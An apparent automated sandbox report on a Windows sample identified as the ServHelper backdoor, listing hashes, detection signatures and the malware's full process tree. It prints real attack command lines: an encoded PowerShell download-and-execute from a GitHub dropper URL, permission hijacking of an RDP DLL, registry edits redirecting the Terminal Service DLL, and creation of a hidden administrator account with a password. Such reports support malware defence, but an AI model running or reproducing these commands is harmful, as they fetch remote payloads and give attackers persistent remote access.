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Analysis

  • max time kernel
    127s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01/02/2022, 02:05

General

  • Target

    08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe

  • Size

    4.5MB

  • MD5

    2519d825ce34edc5881380dfe1a2f9c4

  • SHA1

    642d87e38007682e8c60265ee59e67b09c32eb16

  • SHA256

    08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12

  • SHA512

    e4dfe0e8f3100824bd74942f4b97d39812055a572a1050ce8b18d0485c3f4bc42eb06c220ad4b145c055af7184ea31ca0274fcb029485f3cf90c8e81613c1ddd

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe
    "C:\Users\Admin\AppData\Local\Temp\08a75beea96e15a6bc2e838cf0649ef0e3be100b819d4513b816778f18903c12.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:848
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\brjkyoyg.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4319.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC42F9.tmp"
          4⤵
            PID:748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1404
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1768
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:920
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1552
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1592
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:268
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:796
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1484
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:928
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:324
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:428
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:748
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1180
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1644
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1448
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1280
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1904
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1704
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1820
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1700
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1620
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:972
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1364
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:268
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1372
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1512
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:684
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1948
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc INMqxxxf /add
                                  1⤵
                                    PID:840
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc INMqxxxf /add
                                      2⤵
                                        PID:1732
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc INMqxxxf /add
                                          3⤵
                                            PID:1500
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:920
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:916
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:268
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                              1⤵
                                                PID:1484
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                                  2⤵
                                                    PID:944
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                                      3⤵
                                                        PID:804
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1180
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:2032
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1244
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc INMqxxxf
                                                          1⤵
                                                            PID:1280
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc INMqxxxf
                                                              2⤵
                                                                PID:1748
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc INMqxxxf
                                                                  3⤵
                                                                    PID:684
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:552
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2028
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1372
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1052
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1812
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1704
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2032

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/848-65-0x000000000281B000-0x000000000283A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/848-61-0x0000000002810000-0x0000000002812000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/848-62-0x0000000002812000-0x0000000002814000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/848-63-0x0000000002814000-0x0000000002817000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/848-60-0x000007FEEBE20000-0x000007FEEC97D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/848-59-0x000007FEFC281000-0x000007FEFC283000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/848-74-0x000000000283D000-0x000000000283E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-58-0x00000000284C7000-0x00000000284C8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-57-0x00000000284C6000-0x00000000284C7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/880-54-0x0000000041480000-0x0000000041730000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/880-56-0x00000000284C4000-0x00000000284C6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/880-55-0x00000000284C2000-0x00000000284C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1352-68-0x0000000002110000-0x0000000002112000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1404-85-0x000007FEEBE20000-0x000007FEEC97D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1404-87-0x0000000002577000-0x0000000002578000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1404-91-0x000000000257C000-0x000000000259B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1404-88-0x0000000002572000-0x0000000002574000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1404-89-0x000000001BAB0000-0x000000001BDAF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1404-90-0x0000000002574000-0x0000000002577000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1404-86-0x0000000002570000-0x0000000002572000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1652-77-0x000007FEEBE20000-0x000007FEEC97D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1652-78-0x000000001B910000-0x000000001BC0F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1652-79-0x0000000001C90000-0x0000000001F50000-memory.dmp

                                                                        Filesize

                                                                        2.8MB

                                                                      • memory/1652-80-0x0000000001C90000-0x0000000001F50000-memory.dmp

                                                                        Filesize

                                                                        2.8MB

                                                                      • memory/1652-81-0x0000000001C90000-0x0000000001F50000-memory.dmp

                                                                        Filesize

                                                                        2.8MB

                                                                      • memory/1652-82-0x0000000001C90000-0x0000000001F50000-memory.dmp

                                                                        Filesize

                                                                        2.8MB

                                                                      • memory/1768-96-0x0000000002710000-0x0000000002712000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1768-97-0x0000000002712000-0x0000000002714000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1768-98-0x0000000002717000-0x0000000002718000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1768-101-0x000000000271C000-0x000000000273B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1768-100-0x000000001B9B0000-0x000000001BCAF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1768-99-0x0000000002714000-0x0000000002717000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1768-95-0x000007FEEBE20000-0x000007FEEC97D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/2032-111-0x000007FEEBE20000-0x000007FEEC97D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/2032-112-0x00000000012C0000-0x00000000012C2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2032-114-0x00000000012C4000-0x00000000012C7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/2032-113-0x00000000012C2000-0x00000000012C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2032-115-0x00000000012CB000-0x00000000012EA000-memory.dmp

                                                                        Filesize

                                                                        124KB